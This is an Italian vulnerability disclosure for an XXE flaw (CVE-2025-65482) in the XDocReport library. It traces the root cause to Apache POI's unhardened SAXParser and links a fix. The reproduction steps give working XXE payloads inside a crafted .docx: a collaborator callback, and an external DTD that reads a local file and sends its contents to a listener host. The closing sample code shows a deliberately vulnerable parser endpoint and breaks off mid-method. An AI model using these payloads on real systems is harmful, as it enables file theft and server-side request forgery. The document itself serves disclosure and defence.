CVE-2025-65482 (XXE)

Iniezione di Entità Esterna XML (XXE) in XDocReport

Definizione del Bug

Iniezione di Entità Esterna XML

Panoramica della vulnerabilità

• L'iniezione di Entità Esterna XML (XXE) è una vulnerabilità nell'elaborazione di dati in formato XML, in cui l'utente inserisce dati XML che fanno riferimento a un file o sistema esterno. Un attaccante può utilizzare questa vulnerabilità XXE per scansionare altri sistemi alla ricerca di porte di servizio aperte, richiedere file segreti e accedere a funzionalità di sistemi connessi altrimenti non disponibili. Da qui, l'attaccante può estrarre dati, interagire con i sistemi e causare interruzioni del servizio tramite l'inserimento di XML.

Impatto aziendale

• XXE può portare a danni reputazionali per l'azienda a causa della perdita di fiducia e credibilità da parte degli utenti. Può anche portare a furto di dati e perdite finanziarie indirette per l'azienda attraverso i costi di notifica, correzione e violazione dei dati PII.

Gravità ALTA

Descrizione e Impatto

Il sito web di gestione del personale consente agli utenti di caricare file .docx sul sistema. Durante l'elaborazione, l'applicazione utilizza la libreria fr.opensagres.xdocreport.document.docx che contiene una vulnerabilità XXE quando passa il file .docx dell'utente attraverso SAXParser

Componente affetto

fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)

Analisi della causa principale

la causa è l'uso di Apache POI

fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

Cioè Apache POI si trova molto in profondità, nel modulo:

org.apache.poi.xwpf.converter.core

L'errore si verifica perché XDocReport (nel modulo fr.opensagres.xdocreport.document.docx) utilizza Apache POI per leggere i file .docx, e POI utilizza il SAXParser predefinito di Java senza disabilitare le funzionalità che consentono l'elaborazione di DTD ed Entità Esterne. → Ciò permette all'attaccante di inserire un DOCTYPE con un'entità che punta all'esterno (SYSTEM "http://...") o a un file interno (file:///...) → generando XXE.

XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Procedura di riproduzione

• Decomprimere un file docx qualsiasi

unzip ../vcspentest.docx

• Modificare il contenuto del file document.xml nel docx

nano word/document.xml

modificare con il payload outbound per passare attraverso il collaborator come segue:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

• ricomprimere in un file poc

 zip -r ../poc.docx *

• caricare il file docx modificato per l'elaborazione da parte di xdocreport

• Risultato: si vede una richiesta inviata al collaborator

• Aumentare l'impatto leggendo file nel sistema
• host della macchina che memorizza il file dtd sul wsl 172.26.208.130. con il contenuto del file vcspentest.dtd come segue:

<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

modificare il file word/document.xml nel file .docx con il seguente contenuto per caricare il dtd esterno dalla macchina wsl:

<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

• comprimere il file in .docx e caricare il file sul server per l'elaborazione

• sulla macchina wsl si vede una richiesta inviata con il contenuto del file D:/vcspentest.txt sul server target

Soluzione

• https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

Nel codice o a livello di configurazione del parser XML, è necessario disabilitare tutte le funzionalità relative a DTD ed entità esterne.

correzione simile a questo codice

    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);